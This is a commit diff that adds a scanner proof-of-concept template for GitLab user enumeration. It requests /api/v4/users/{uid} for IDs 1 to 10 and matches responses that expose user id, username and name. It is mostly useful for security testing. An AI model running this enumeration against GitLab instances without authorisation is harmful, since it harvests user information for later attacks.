feat: add curated internal network pocs

2026-09-22 03:10:42 +08:00 · 2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
@@ -0,0 +1,34 @@
+id: gitlab-api-user-enum
+
+info:
+  name: GitLab - User Information Disclosure Via Open API
+  author: Suman_Kar
+  severity: medium
+  reference:
+    - https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40158
+  tags: gitlab,api,enum,user
+  created: 2023/07/20
+
+rules:
+  r0:
+    brute:
+      mode: sniper
+      commit: winner
+      continue: false
+      uid:
+        - "1"
+        - "2"
+        - "3"
+        - "4"
+        - "5"
+        - "6"
+        - "7"
+        - "8"
+        - "9"
+        - "10"
+        - "2"
+    request:
+      method: GET
+      path: /api/v4/users/{{uid}}
+    expression: response.status == 200 && response.body.bcontains(b'"id":') && response.body.bcontains(b'"username":') && response.body.bcontains(b'"name":')
+expression: r0()